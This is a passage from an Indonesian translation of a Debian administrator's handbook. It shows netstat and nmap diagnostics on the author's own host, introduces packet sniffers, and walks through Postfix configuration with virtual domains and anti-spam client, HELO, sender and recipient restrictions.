tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN      397/rpcbind

tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      431/sshd

tcp        0      0 0.0.0.0:36568           0.0.0.0:*               LISTEN      407/rpc.statd

tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      762/exim4

tcp        0    272 192.168.1.242:22        192.168.1.129:44452     ESTABLISHED 1172/sshd: roland [

tcp6       0      0 :::111                  :::*                    LISTEN      397/rpcbind

tcp6       0      0 :::22                   :::*                    LISTEN      431/sshd

tcp6       0      0 ::1:25                  :::*                    LISTEN      762/exim4

tcp6       0      0 :::35210                :::*                    LISTEN      407/rpc.statd

udp        0      0 0.0.0.0:39376           0.0.0.0:*                           916/dhclient

udp        0      0 0.0.0.0:996             0.0.0.0:*                           397/rpcbind

udp        0      0 127.0.0.1:1007          0.0.0.0:*                           407/rpc.statd

udp        0      0 0.0.0.0:68              0.0.0.0:*                           916/dhclient

udp        0      0 0.0.0.0:48720           0.0.0.0:*                           451/avahi-daemon: r

udp        0      0 0.0.0.0:111             0.0.0.0:*                           397/rpcbind

udp        0      0 192.168.1.242:123       0.0.0.0:*                           539/ntpd

udp        0      0 127.0.0.1:123           0.0.0.0:*                           539/ntpd

udp        0      0 0.0.0.0:123             0.0.0.0:*                           539/ntpd

udp        0      0 0.0.0.0:5353            0.0.0.0:*                           451/avahi-daemon: r

udp        0      0 0.0.0.0:39172           0.0.0.0:*                           407/rpc.statd

udp6       0      0 :::996                  :::*                                397/rpcbind

udp6       0      0 :::34277                :::*                                407/rpc.statd

udp6       0      0 :::54852                :::*                                916/dhclient

udp6       0      0 :::111                  :::*                                397/rpcbind

udp6       0      0 :::38007                :::*                                451/avahi-daemon: r

udp6       0      0 fe80::5054:ff:fe99::123 :::*                                539/ntpd

udp6       0      0 2001:bc8:3a7e:210:a:123 :::*                                539/ntpd

udp6       0      0 2001:bc8:3a7e:210:5:123 :::*                                539/ntpd

udp6       0      0 ::1:123                 :::*                                539/ntpd

udp6       0      0 :::123                  :::*                                539/ntpd

udp6       0      0 :::5353                 :::*                                451/avahi-daemon: r

Seperti yang diharapkan, daftar ini menampilkan koneksi yang terjalin, dua koneksi SSH dalam kasus ini, dan aplikasi yang menunggu koneksi masuk (terdaftar sebagai LISTEN), terutama server surel Exim4 yang mendengarkan di port 25.

10.9.2. Diagnosis Jarak Jauh: nmap

nmap (dalam paket yang bernama mirip) adalah, sedikit banyak, ekuivalen remote untuk netstat. Itu dapat memindai suatu set port yang "dikenal luas" untuk satu server remote atau lebih, dan menampilkan daftar port dimana suatu aplikasi ditemukan yang menjawab koneksi masuk. Lebih jauh, nmap dapat mengidentifikasi beberapa dari aplikasi ini, bahkan terkadang nomor versi mereka. Kekurangan dari perkakas ini adalah, karena itu dijalankan secara remote, tidak dapat menyediakan informasi tentang proses-proses atau para pengguna; namun, itu dapat beroperasi pada beberapa target sekaligus.

Pemanggilan tipikal nmap hanya menggunakan pilihan -A (sehingga nmap mencoba mengidentifikasi versi perangkat lunak server yang ditemukannya) diikuti oleh satu atau lebih alamat IP atau nama DNS mesin yang akan dipindai. Sekali lagi, lebih banyak opsi yang ada untuk mengendalikan perilaku nmap; silakan lihat dokumentasi di halaman manual nmap(1).

# nmap mirtuel

Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-30 21:05 CET

Nmap scan report for mirtuel (192.168.1.242)

Host is up (0.000013s latency).

rDNS record for 192.168.1.242: mirtuel.internal.placard.fr.eu.org

Not shown: 998 closed ports

PORT    STATE SERVICE

22/tcp  open  ssh

111/tcp open  rpcbind

Nmap done: 1 IP address (1 host up) scanned in 2.41 seconds

# nmap -A localhost

Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-30 21:17 CEST

Nmap scan report for localhost (127.0.0.1)

Host is up (0.000039s latency).

Other addresses for localhost (not scanned): ::1

Not shown: 997 closed ports

PORT    STATE SERVICE VERSION

22/tcp  open  ssh     OpenSSH 7.9p1 Debian 10 (protocol 2.0)

| ssh-hostkey:

|   2048 33:a1:d8:b1:e5:5b:b2:0d:15:1b:8e:76:7f:e4:d7:3d (RSA)

|   256 8f:83:cf:fa:b3:58:54:9a:1d:1b:4c:db:b1:e2:58:76 (ECDSA)

|_  256 fa:3d:58:62:49:92:93:90:52:fe:f4:26:ca:dc:4c:40 (ED25519)

25/tcp  open  smtp    Exim smtpd 4.92

| smtp-commands: mirtuel Hello localhost [127.0.0.1], SIZE 52428800, 8BITMIME, PIPELINING, CHUNKING, PRDR, HELP,

|_ Commands supported: AUTH HELO EHLO MAIL RCPT DATA BDAT NOOP QUIT RSET HELP

631/tcp open  ipp     CUPS 2.2

| http-methods:

|_  Potentially risky methods: PUT

| http-robots.txt: 1 disallowed entry

|_/

|_http-server-header: CUPS/2.2 IPP/2.1

|_http-title: Home - CUPS 2.2.10

Device type: general purpose

Running: Linux 3.X

OS CPE: cpe:/o:linux:linux_kernel:3

OS details: Linux 3.7 - 3.10

Network Distance: 0 hops

Service Info: Host: debian; OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 12.33 seconds

Seperti yang diharapkan, aplikasi SSH dan Exim4 tercantum. Perhatikan bahwa tidak semua aplikasi mendengarkan pada semua alamat IP; karena Exim4 ini hanya dapat diakses pada antarmuka loopback lo, itu hanya muncul selama analisis localhost dan tidak ketika pemindaian mirtuel (yang terpetakan ke antarmuka eth0 di mesin yang sama).

10.9.3. Sniffer: tcpdump dan wireshark

Kadang-kadang, orang perlu untuk melihat apa yang sebenarnya terjadi pada kabel, paket per paket. Kasus ini panggilan untuk “penganalsis frame”, lebih dikenal sebagai niffer. Suatu alat yang mengamati semua paket yang mencapai antarmuka jaringan tertentu, dan menampilkan mereka dalam cara yang ramah pengguna.

Alat mulia dalam domain ini adalah tcpdump, tersedia sebagai alat standar pada berbagai platform. Hal ini memungkinkan menangkap banyak jenis lalu lintas jaringan, tapi representasi dari lalu lintas ini tetap agak kabur. Karenanya kami tidak akan menjelaskan secara lebih terperinci.

Perkakas yang lebih terkini (dan lebih modern), wireshark (dalam paket wireshark), telah menjadi acuan baru dalam analisis lalu lintas jaringan karena banyak modul pendekodeannya yang mengizinkan analisis yang disederhanakan atas paket-paket yang ditangkap. Paket-paket ditampilkan secara grafis dengan suatu pengorganisasian berbasis layer protokol. Ini memungkinkan pengguna memvisualisasi semua protokol yang terlibat dalam sebuah paket. Sebagai contoh, diberikan suatu paket yang memuat sebuah permintaan HTTP, wireshark menampilkan, secara terpisah, informasi terkait layer fisik, layer Ethernet, informasi paket IP, parameter koneksi TCP, dan akhirnya permintaan HTTP itu sendiri.

Gambar 10.1. wireshark penganalisis lalu lintas jaringan

Dalam contoh kita, paket-paket yang berjalan di atas SSH disaring (dengan penyaring !tcp.port == 22). Paket yang sedang ditampilkan dikembangkan pada layer transport dari protokol SSHv2.

TIP wireshark tanpa antar muka grafis: tshark

Ketika seseorang tidak dapat menjalankan antarmuka grafis, atau tidak ingin menjalankannya dengan alasan apapun, suatu versi hanya-teks dari wireshark juga ada dengan nama tshark (dalam sebuah paket terpisah tshark). Kebanyakan dari fitur tangkap dan dekode masih tersedia, tapi ketiadaan antarmuka grafis membatasi interaksi dengan program (menyaring paket setelah ditangkap, melacak koneksi TCP tertentu, dan seterusnya). Itu masih dapat dipakai sebagai sebuah pendekatan pertama. Bila manipulasi lebih lanjut dikehendaki dan memerlukan antarmuka grafis, paket-paket dapat disimpan ke suatu berkas dan berkas ini dapat dimuat ke dalam sebuah wireshark grafis yang berjalan pada mesin lain.

Bab 11. Layanan Jaringan: Postfix, Apache, NFS, Samba, Squid, LDAP, SIP, XMPP, TURN

Layanan jaringan adalah program-program yang berinteraksi secara langsung dengan para pengguna dalam pekerjaan mereka sehari-hari. Mereka adalah puncak gunung es sistem informasi, dan bab ini akan memfokuskan pada mereka; bagian tak terlihat tempat mereka bertumpu adalah infrastruktur yang sudah kita terangkan sebelumnya. Mereka biasanya memerlukan teknologi enkripsi yang diuraikan dalam Bagian 10.2, “setifikat X.509”.

11.1. Server Mail

Administrator Falcot Corp memilih Postfix untuk server surel elektroniknya, karena keandalan dan kemudahan konfigurasinya. Memang, desainnya memberlakukan bahwa setiap tugas diimplementasikan dalam sebuah proses dengan seperangkat izin minimum yang dibutuhkan, yang merupakan langkah mitigasi yang besar terhadap masalah keamanan.

ALTERNATIF Server Exim4

Debian menggunakan Exim4 sebagai peladen posel bawaan (instalasi awal menyertakan Exim4). Konfigurasi disediakan oleh paket yang terpisah, exim4-config, dan diatur secara otomatis berdasarkan jawaban dari pertanyaan Debconf yang mirip dengan pertanyaan yang diajukan oleh paket postfix.

Konfigurasi dapat berupa berkas tunggal (/etc/exim4/exim4.conf.template) atau terpecah dalam beberapa potongan konfigurasi tersimpan di bawah /etc/exim4/conf.d/. Keduanya, berkas tersebut digunakan olehperintah update-exim4.conf sebagai palet untuk menghasilkan /var/lib/exim4/config.autogenerated. Yang terakhir adalah berkas yang digunakan oleh Exim4. Berkat mekanisme ini, nilai yang dihasilkan melalui konfigurasi debconf Exim --yang tersimpan dalam /etc/exim4/update-exim4.conf.conf-- dapat disuntikkan ke dalam berkas konfigurasi Exim, bahkan ketika administrator atau paket lain telah mengubah konfigurasi bawaan Exim.

Sintaks berkas konfigurasi Exim4 memiliki kekhasan dan kurva belajarnya; namun, begitu keanehan ini dipahami, Exim4 merupakan peladen surel yang sangat lengkap dan hebat, yang dibuktikan dengan puluhan halaman dokumentasi.

→ https://www.exim.org/docs.html

11.1.1. Instalasi Postfix

Paket postfix menyertakan daemon SMTP utama. Paket lain (seperti postfix-ldap dan postfix-pgsql) menambahkan fungsionalitas ekstra ke Postfix, termasuk mengakses basis data pemetaan. Anda hanya perlu menginstallnya jika Anda tahu Anda memerlukannya.

KEMBALI KE DASAR SMTP

SMTP (Simple Mail Transfer Protocol) adalah protokol yang digunakan oleh peladen surat untuk bertukar dan mengarahkan surel.

Beberapa pertanyaan Debconf ditanyakan saat instalasi paket tersebut. Jawabannya memungkinkan menghasilkan versi pertama berkas konfigurasi /etc/postfix/main.cf.

Pertanyaan pertama berkaitan dengan jenis pengaturan. Hanya dua jawaban relevan yang diajukan jika ada server yang tersambung ke internet, "situs internet" dan "internet dengan smarthost". Yang pertama sesuai untuk server yang menerima email masuk dan mengirim email keluar langsung ke penerimanya, dan karenanya cocok untuk kasus Falcot Corp. Yang terakhir ini sesuai untuk server yang menerima email masuk secara normal, namun mengirimkan email keluar melalui server SMTP menengah — ”smarthost” — bukan langsung ke server penerima. Ini sangat berguna bagi individu dengan alamat IP dinamis, karena banyak server email menolak pesan yang datang langsung dari alamat IP semacam itu. Dalam kasus ini, smarthost biasanya adalah SMTP server milik ISP, yang selalu dikonfigurasi untuk menerima email dari pelanggan ISP dan meneruskannya dengan tepat. Pengaturan ini (dengan smarthost) selalu relevan untuk server yang tidak terhubung secara permanen ke internet, karena menghindari harus mengatur antrian pesan tidak terkirim yang perlu dicoba ulang di waktu yang lain.

KOSAKATA ISP

ISP merupakan akronim dari "Internet Service Provider" (penyedia layanan internet). Sebuah entitas, seringkali berupa perusahaan komersial, yang menyediakan koneksi internet dan layanan dasar yang sesuai (surel, berita, dan lain-lain).

Pertanyaan kedua berkaitan dengan nama lengkap mesin, digunakan untuk menghasilkan alamat email dari nama pengguna lokal; nama lengkap mesin sebagai bagian setelah simbol-at ("@"). Dalam kasus Falcot, jawabannya seharusnya mail.falcot.com. Pertanyaan ini yang diajukan secara default, namun konfigurasi yang diembannya tidak cukup lengkap untuk kebutuhan Falcot, karenanya administrator menjalankan perintah dpkg-reconfigure postfix agar dapat menyesuaikan lebih banyak parameter.

Salah satu pertanyaan tambahan yang diajukan untuk semua nama domain yang berhubungan dengan mesin. Daftar bawaan yang menyertakan nama lengkapnya sebagaimana sedikit padanan untuk localhost, namun domain utama falcot.com perlu ditambahkan sendiri. Lebih umumnya, pertanyaan ini seharusnya biasanya dijawab dengan seluruh nama domain yang mana mesin ini seharusnya melayani sebagai sebuah MX server; dengan kata lain, seluruh nama domain yang mana disebutkan DNS bahwa mesin ini akan menerima surel. Informasi ini berpangkal pada variabel mydestination pada berkas konfigurasi Postfix — /etc/postfix/main.cf.

Gambar 11.1. Aturan record DNS MX saat mengirimkan surel

EXTRA Query record MX

Ketika DNS tidak memilik record MX untuk sebuah domain, peladen surel akan mencoba mengirim pesan ke host-nya sendiri, dengan menggunakan record A (atau AAAA dalam IPv6).

Dalam beberapa kasus, instalasi juga dapat meminta jaringan apa yang harus diperbolehkan untuk mengirim surel melalui mesin. Dengan konfigurasi default, Postfix hanya menerima surel yang datang dari mesin itu sendiri; jaringan lokal biasanya akan ditambahkan. Administrator Falcot Corp menambahkan 192.168.0.0/16 ke jawaban default. Jika pertanyaan itu tidak muncul, variabel yang relevan dalam berkas konfigurasi adalah mynetworks, seperti yang terlihat dalam contoh di bawah ini.

Surel lokal juga dapat dikirimkan melalui procmail. Alat ini memungkinkan pengguna untuk memilah surel masuk mereka menurut aturan yang disimpan dalam berkas ~/.procmailrc mereka. Postfix dan Exim4 menyarankan procmail secara baku, tapi ada alternatif seperti maildrop atau filter Sieve.

Setelah langkah pertama ini, para administrator mendapat berkas konfigurasi berikut; ini akan digunakan sebagai titik awal untuk menambahkan beberapa fungsi tambahan di bagian berikutnya.

Contoh 11.1. Berkas/etc/postfix/main.cf awal

# See /usr/share/postfix/main.cf.dist for a commented, more complete version

# Debian specific:  Specifying a file name will cause the first

# line of that file to be used as the name.  The Debian default

# is /etc/mailname.

#myorigin = /etc/mailname

smtpd_banner = $myhostname ESMTP $mail_name (Debian/GNU)

biff = no

# appending .domain is the MUA's job.

append_dot_mydomain = no

# Uncomment the next line to generate "delayed mail" warnings

#delay_warning_time = 4h

readme_directory = no

# See http://www.postfix.org/COMPATIBILITY_README.html -- default to 2 on

# fresh installs.

compatibility_level = 2

# TLS parameters

smtpd_tls_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem

smtpd_tls_key_file=/etc/ssl/private/ssl-cert-snakeoil.key

smtpd_use_tls=yes

smtpd_tls_session_cache_database = btree:${data_directory}/smtpd_scache

smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache

# See /usr/share/doc/postfix/TLS_README.gz in the postfix-doc package for

# information on enabling SSL in the smtp client.

smtpd_relay_restrictions = permit_mynetworks permit_sasl_authenticated defer_unauth_destination

myhostname = mail.falcot.com

alias_maps = hash:/etc/aliases

alias_database = hash:/etc/aliases

myorigin = /etc/mailname

mydestination = mail.falcot.com, falcot.com, localhost.localdomain, localhost

relayhost =

mynetworks = 127.0.0.0/8 [::ffff:127.0.0.0]/104 [::1]/128 192.168.0.0/16

mailbox_size_limit = 0

recipient_delimiter = +

inet_interfaces = all

inet_protocols = all

KEAMANAN Sertifikat SSL Snake oil

Sertifikat minyak ular, seperti "obat" minyak ular yang dijual oleh dukun palsu di jaman dahulu, benar-benar tidak memiliki nilai: Anda tidak dapat mengandalkan mereka untuk mengotentikasi server karena mereka sertifikat yang ditandatangani sendiri yang dihasilkan secara otomatis. Namun mereka sangat berguna untuk meningkatkan privasi pertukaran.

Secara umum mereka hanya boleh digunakan untuk tujuan pengujian, dan layanan normal harus menggunakan sertifikat nyata. Inisiatif Let's encrypt menawarkan sertifikat SSL/TLS gratis dan terpercaya, yang dapat dihasilkan menggunakan paket certbot seperti yang dijelaskan dalam Bagian 11.2.2, “Menambahkan dukungan untuk SSL” dan kemudian digunakan dalam postfix seperti ini:

smtpd_tls_cert_file = /etc/letsencrypt/live/DOMAIN/fullchain.pem

smtpd_tls_key_file = /etc/letsencrypt/live/DOMAIN/privkey.pem

smtpd_tls_CAfile = /etc/ssl/certs/ca-certificates.crt

smtpd_tls_CApath = /etc/ssl/certs

smtp_tls_CApath = /etc/ssl/certs

Cara berbeda untuk menghasilkan sertifikat sendiri dijelaskan dalam Bagian 10.2.2, “Infrastruktur Kunci Publik: easy-rsa”.

11.1.2. Mengkonfigurasi Domain Virtual

Server surat dapat menerima surel yang ditujukan kepada domain lain selain domain utama; ini kemudian dikenal sebagai domain virtual. Dalam kebanyakan kasus di mana hal ini terjadi, surel pada akhirnya tidak ditujukan ke pengguna lokal. Postfix menyediakan dua fitur menarik untuk menangani virtual domain.

HATI-HATI Domain virtual dan domain kanonik

Tak satu pun dari domain virtual boleh dirujuk dalam variabel mydestination; variabel ini hanya berisi nama-nama domain "kanonik" yang secara langsung terkait dengan mesin dan pengguna lokal.

11.1.2.1. Domain Alias Virtual

Suatu domain alias virtual hanya berisi alias, yaitu alamat-alamat yang hanya meneruskan surel ke alamat lain.

Domain seperti itu diaktifkan dengan menambahkan nama ke variabel virtual_alias_domains, dan mereferensi berkas pemetaan alamat dalam variabel virtual_alias_maps.

virtual_alias_domains = falcotsbrand.com

virtual_alias_maps = hash:/etc/postfix/virtual

Berkas /etc/postfix/virtual menjelaskan pemetaan dengan sintaks yang agak sederhana: setiap baris berisi dua field yang dipisahkan oleh spasi; field pertama adalah nama alias, field kedua adalah daftar alamat surel tujuan pengalihan. Sintaks khusus @domain.com mencakup semua sisa alias dalam suatu domain.

webmaster@falcotsbrand.com  jean@falcot.com

contact@falcotsbrand.com    laure@falcot.com, sophie@falcot.com

# The alias below is generic and covers all addresses within

# the falcotsbrand.com domain not otherwise covered by this file.

# These addresses forward email to the same user name in the

# falcot.com domain.

@falcotsbrand.com           @falcot.com

Setelah mengubah /etc/postfix/virtual tabel postfix /etc/postfix/virtual.db perlu diperbarui menggunakan sudo postmap /etc/postfix/virtual.

11.1.2.2. Domain Kotak Surat Virtual

HATI-HATI Gabungan domain virtual?

Postfix tidak mengizinkan menggunakan domain yang sama sekaligus di virtual_alias_domains dan virtual_mailbox_domains. Namun, setiap domain virtual_mailbox_domains secara implisit dimasukkan ke dalam virtual_alias_domains, yang memungkinkan untuk mencampur alias dan kotak surat dalam suatu domain virtual.

Pesan-pesan yang ditujukan ke kotak surat domain virtual disimpan dalam kotak surat yang tidak ditugaskan ke pengguna sistem lokal.

Memfungsikan kotak surat domain virtual memerlukan menamai domain ini dalam variabel virtual_mailbox_domains, dan mereferensi ke berkas pemetaan kotak surat di virtual_mailbox_maps. Parameter virtual_mailbox_base berisi direktori di mana kotak pesan akan disimpan.

virtual_mailbox_domains = falcot.org

virtual_mailbox_maps = hash:/etc/postfix/vmailbox

virtual_mailbox_base = /var/mail/vhosts

Parameter virtual_uid_maps (dan virtual_gid_maps) mengacu ke berkas yang berisi pemetaan antara alamat surel dan sistem pengguna (dan kelompok) yang "memiliki" kotak surat yang sesuai. Agar semua kotak surat dimiliki oleh pemilik/kelompok yang sama, sintaks static:5000 menetapkan UID/GID tertentu (yang bernilai 5000 di sini).

Sekali lagi, sintaks berkas /etc/postfix/vmailbox cukup sederhana: dua field dipisahkan dengan spasi. Field pertama adalah alamat surel dalam salah satu domain virtual, dan field kedua adalah lokasi kotak surat yang terkait (relatif terhadap direktori yang ditentukan dalam virtual_mailbox_base). Jika nama kotak surat berakhir dengan garis miring (/), surel akan disimpan dalam format maildir; jika tidak, format tradisional mbox akan digunakan. Format maildir menggunakan seluruh direktori untuk menyimpan kotak surat, masing-masing pesan disimpan dalam berkas terpisah. Dalam format mbox, seluruh kotak surat disimpan dalam satu berkas, dan setiap baris yang dimulai dengan "From " (From diikuti dengan spasi) menandai awal pesan baru.

# Surel Jean disimpan sebagai maildir, dengan

# satu berkas per surel dalam suatu direktori terdedikasi

jean@falcot.org falcot.org/jean/

# Surel Sophie's disimpan dalam suatu berkas "mbox"

# tradisional dengan semua surel disambung ke dalam satu berkas tunggal

sophie@falcot.org falcot.org/sophie

11.1.3. Pembatasan Penerimaan dan Pengiriman

Meningkatnya jumlah surel massal yang tidak diminta (spam) memerlukan menjadi semakin ketat ketika memutuskan surel mana yang mesti diterima oleh server. Bagian ini menyajikan beberapa strategi yang termasuk dalam Postfix.

Jika aturan penolakan terlalu ketat, mungkin terjadi bahkan lalu lintas surel yang sah pun terkunci. Oleh karena itu, merupakan kebiasaan yang baik untuk menguji pembatasan dan mencegah penolakan permanen atas permintaan selama waktu ini menggunakan perintah soft_bounce = yes. Dengan menambahkan direktif tipe tolak dengan warn_if_reject hanya pesan log yang akan direkam daripada menolak permintaan tersebut.

KULTUR Masalah spam

"Spam" adalah istilah umum yang digunakan untuk menamai semua surel komersial yang tidak diinginkan (juga dikenal sebagai UCE) yang membanjiri kotak surat elektronik kita; individu-individu yang tidak bermoral yang mengirim mereka dikenal sebagai spammer. Mereka tidak peduli tentang gangguan yang mereka sebabkan, karena mengirimkan surel biayanya sangat rendah, dan hanya persentase yang sangat kecil dari penerima yang perlu tertarik dengan tawaran agar operasi spam menghasilkan lebih daripada biaya. Prosesnya kebanyakan otomatis, dan alamat surel yang dibuat publik (misalnya, di forum web, atau di arsip milis, atau di blog, dan sebagainya) akan ditemukan oleh robot spammer, dan menjadi sasaran pesan tak diharapkan yang tidak pernah berakhir. Setiap kontak yang ditemukan pada sebuah sistem yang terkompromi juga ditarget.

Semua administrator sistem mencoba untuk menghadapi gangguan dengan filter spam, tapi tentu saja spammer terus menyesuaikan diri dengan mencoba menghindari filter ini. Beberapa bahkan menyewa jaringan mesin yang terkompromi oleh worm dari berbagai sindikat kejahatan. Statistik baru-baru ini memperkirakan bahwa hingga 95% dari semua surel yang beredar di Internet adalah spam!

11.1.3.1. Pembatasan Akses Berbasis IP

Direktif smtpd_client_restrictions mengendalikan mesin mana yang diperbolehkan untuk berkomunikasi dengan server surel.

Ketika suatu variabel berisi daftar aturan, seperti pada contoh di bawah, aturan-aturan ini dievaluasi berurutan, dari pertama sampai terakhir. Setiap aturan dapat menerima pesan, menolak, atau menyerahkan keputusan ke aturan berikutnya. Sebagai akibatnya, urutan penting, dan sekedar mempertukarkan dua aturan dapat menyebabkan perilaku yang sangat berbeda.

Contoh 11.2. Pembatasan Berbasis Alamat Klien

smtpd_client_restrictions =

permit_mynetworks,

warn_if_reject reject_unknown_client_hostname,

check_client_access hash:/etc/postfix/access_clientip,

reject_rhsbl_reverse_client dbl.spamhaus.org,

reject_rhsbl_reverse_client rhsbl.sorbs.net,

reject_rbl_client zen.spamhaus.org,

reject_rbl_client dnsbl.sorbs.net

Direktif permit_mynetworks, yang digunakan sebagai aturan pertama, menerima semua surel yang datang dari mesin jaringan lokal (seperti yang didefinisikan oleh variabel konfigurasi mynetworks).

Direktif kedua biasanya akan menolak surel yang datang dari mesin tanpa konfigurasi DNS yang sepenuhnya valid. Sebuah konfigurasi yang valid berarti bahwa alamat IP dapat di-resolve ke suatu nama, dan bahwa nama ini, pada gilirannya, di-resolve ke alamat IP. Pembatasan ini sering terlalu ketat, karena banyak server surel yang tidak memiliki reverse DNS untuk alamat IP mereka. Ini menjelaskan mengapa para administrator Falcot mengawali pengubah warn_if_reject ke direktif reject_unknown_client: pengubah ini mengubah penolakan menjadi peringatan sederhana yang tercatat dalam log. Administrator dapat kemudian mengawasi jumlah pesan yang akan ditolak jika aturan yang benar-benar ditegakkan, dan membuat keputusan kemudian jika mereka ingin memberlakukan aturan itu.

TIP tabel access

Kriteria pembatasan termasuk tabel yang dapat dimodifikasi oleh administrator berisi daftar kombinasi pengirim, alamat IP, dan nama host yang diperbolehkan atau dilarang. Tabel ini dapat dibuat memakai salinan berkas terkompresi /usr/share/doc/postfix/examples/access.gz yang dikirimkan dengan paket postfix-doc. Model ini didokumentasikan mandiri dalam komentar, yang berarti setiap tabel menjelaskan sintaksnya sendiri.

Tabel /etc/postfix/access_clientip menampung daftar alamat IP dan jaringan; /etc/postfix/access_helo berisi daftar nama domain; /etc/postfix/access_sender berisi alamat surel pengirim. Semua berkas ini harus diubah menjadi tabel hash (format yang dioptimalkan untuk akses cepat) setelah setiap perubahan, dengan perintah sudo postmap /etc/postfix/berkas.

Direktif ketiga memungkinkan administrator untuk mengatur blacklist dan whitelist server surel, disimpan dalam berkas /etc/postfix/access_clientip. Server di whitelist dianggap sebagai dipercaya, dan surel yang datang dari sana tidak diperiksa memakai aturan penyaringan berikut.

Empat aturan terakhir menolak pesan yang berasal dari server yang tercantum dalam salah satu blacklist yang ditunjukkan. RBL adalah akronim untuk Remote Black List, dan RHSBL singkatan dari Right-Hand Side Black List. Perbedaannya adalah bahwa yang pertama memuat daftar alamat IP, sedangkan yang kedua memuat daftar nama domain. Ada beberapa layanan seperti itu. Mereka membuat daftar domain dan alamat IP dengan reputasi buruk, server-server yang dikonfigurasi secara buruk yang dipakai oleh spammer untuk me-relay surel mereka, maupun pe-relay surel yang tak terduga seperti mesin-mesin yang terinfeksi worm atau virus.

TIPS Daftar putih dan RBL

Blacklist kadang-kadang mencakup server sah yang telah mengalami insiden. Dalam situasi ini, semua surel yang datang dari salah satu server tersebut akan ditolak kecuali apabila server tercantum dalam daftar putih yang didefinisikan oleh /etc/postfix/access_clientip.

Kehati-hatian karena itu merekomendasikan memasukkan di whitelist semua server terpercaya yang biasanya kita terima banyak surel dari mereka.

11.1.3.2. Memeriksa Validitas Perintah EHLO atau HELO

Setiap pertukaran SMTP dimulai dengan perintah HELO (atau EHLO), diikuti dengan nama server surel pengirim. Memeriksa validitas nama ini bisa menarik. Untuk sepenuhnya menegakkan pembatasan yang tercantum dalam smtpd_helo_restrictions opsi smtpd_helo_required perlu diaktifkan. Jika tidak, klien dapat melewati pembatasan dengan tidak mengirimkan perintah HELO/EHLO.

Contoh 11.3. Pembatasan pada nama yang diumumkan di EHLO

smtpd_helo_required = yes

smtpd_helo_restrictions =

permit_mynetworks,

reject_invalid_helo_hostname,

reject_non_fqdn_helo_hostname,

warn_if_reject reject_unknown_helo_hostname,

check_helo_access hash:/etc/postfix/access_helo,

reject_rhsbl_helo multi.surbl.org

Direktir permit_mynetworks pertama memungkinkan semua mesin di jaringan lokal untuk memperkenalkan diri dengan bebas. Hal ini penting, karena beberapa program email tidak menghormati bagian dari protokol SMTP ini secara cukup memadai, dan mereka dapat memperkenalkan diri dengan nama-nama yang tidak masuk akal.

Aturan reject_invalid_helo_hostname menolak surel ketika EHLO mengumumkan daftar nama host yang secara sintaksis salah. Aturan reject_non_fqdn_helo_hostname menolak pesan ketika nama host yang diumumkan bukan fully-qualified domain name (yang memuat nama domain maupun nama host). Aturan reject_unknown_helo_hostname menolak pesan jika nama yang diumumkan tidak ada di DNS. Karena aturan terakhir ini sayangnya mengarah ke penolakan yang terlalu banyak, para administrator mengubah efeknya menjadi peringatan sederhana dengan pengubah warn_if_reject sebagai langkah pertama; mereka mungkin memutuskan untuk menghapus pengubah ini pada tahap berikutnya, setelah audit hasil peraturan ini.

reject_rhsbl_helo memungkinkan untuk menentukan daftar hitam untuk memeriksa nama host terhadap RHSBL.

Menggunakan permit_mynetworks sebagai aturan pertama memiliki efek samping yang menarik: aturan berikutnya hanya diterapkan ke host di luar jaringan lokal. Hal ini memungkinkan mencekal semua host yang mengumumkan diri mereka sebagai bagian dari jaringan falcot.com, misalnya dengan menambahkan baris falcot.com REJECT Anda tidak berada dalam jaringan kami! ke dalam berkas / postfix/dll/access_helo.

11.1.3.3. Menerima atau Menolak Berdasarkan Pengirim yang Diumumkan

Setiap pesan memiliki pengirim, diumumkan oleh perintah MAIL FROM dari protokol SMTP; sekali lagi, informasi ini dapat divalidasi dalam beberapa cara yang berbeda.

Contoh 11.4. Pemeriksaan pengirim

smtpd_sender_restrictions =

check_sender_access hash:/etc/postfix/access_sender,

reject_unknown_sender_domain,

reject_unlisted_sender,

reject_non_fqdn_sender,

reject_rhsbl_sender rhsbl.sorbs.net

Tabel /etc/postfix/access_sender memetakan beberapa perlakuan khusus untuk beberapa pengirim. Ini biasanya berarti memasukkan beberapa pengirim ke daftar putih atau daftar hitam.

Aturan reject_unknown_sender_domain memerlukan domain pengirim yang valid, karena dibutuhkan untuk alamat yang valid. Aturan reject_unlisted_sender menolak pengirim lokal jika alamat tidak ada; hal ini mencegah surel dari yang dikirim dari alamat yang tidak valid dalam domain falcot.com, dan pesan yang berasal dari joe.bloggs@falcot.com hanya diterima jika alamat tersebut benar-benar ada.

Akhirnya, aturan reject_non_fqdn_sender menolak surel yang mengaku berasal dari alamat tanpa fully-qualified domain name. Dalam prakteknya, ini berarti menolak surel yang datang dari user@machine: alamat harus diumumkan sebagai user@machine.example.com atau user@example.com.

Aturan reject_rhsbl_sender menolak pengirim berdasarkan layanan RHSBL (berbasis domain).

11.1.3.4. Menerima atau Menolak Berdasarkan Penerima

Setiap surel yang memiliki minimal satu penerima, diumumkan dengan perintah RCPT TO dalam protokol SMTP. Alamat ini juga memerlukan validasi, bahkan jika itu mungkin kurang relevan daripada pemeriksaan atas alamat pengirim.

Contoh 11.5. Pemeriksaan penerima

smtpd_recipient_restrictions =

permit_mynetworks,

reject_unauth_destination,

reject_unlisted_recipient,

reject_non_fqdn_recipient,

permit

reject_unauth_destination adalah aturan dasar yang mempersyaratkan pesan dari luar ditujukan kepada kami; pesan yang dikirim ke alamat yang tidak dilayani oleh server ini akan ditolak. Tanpa aturan ini, server menjadi relay terbuka yang memungkinkan spammer untuk mengirim surel yang tidak diinginkan; aturan ini wajib, dan itu paling baik disertakan di bagian awal dari daftar, sehingga tidak ada aturan lainnya mungkin mengotorisasi pesan sebelum tujuan telah diperiksa.

Aturan reject_unlisted_recipient menolak pesan yang dikirim ke pengguna lokal yang tidak ada. Ini masuk akal. Akhirnya, aturan reject_non_fqdn_recipient menolak alamat yang bukan fully-qualified; ini menjadikannya mustahil untuk mengirim surel ke jean atau jean@machine, dan memerlukan menggunakan alamat lengkap, seperti jean@machine.falcot.com atau jean@falcot.com.

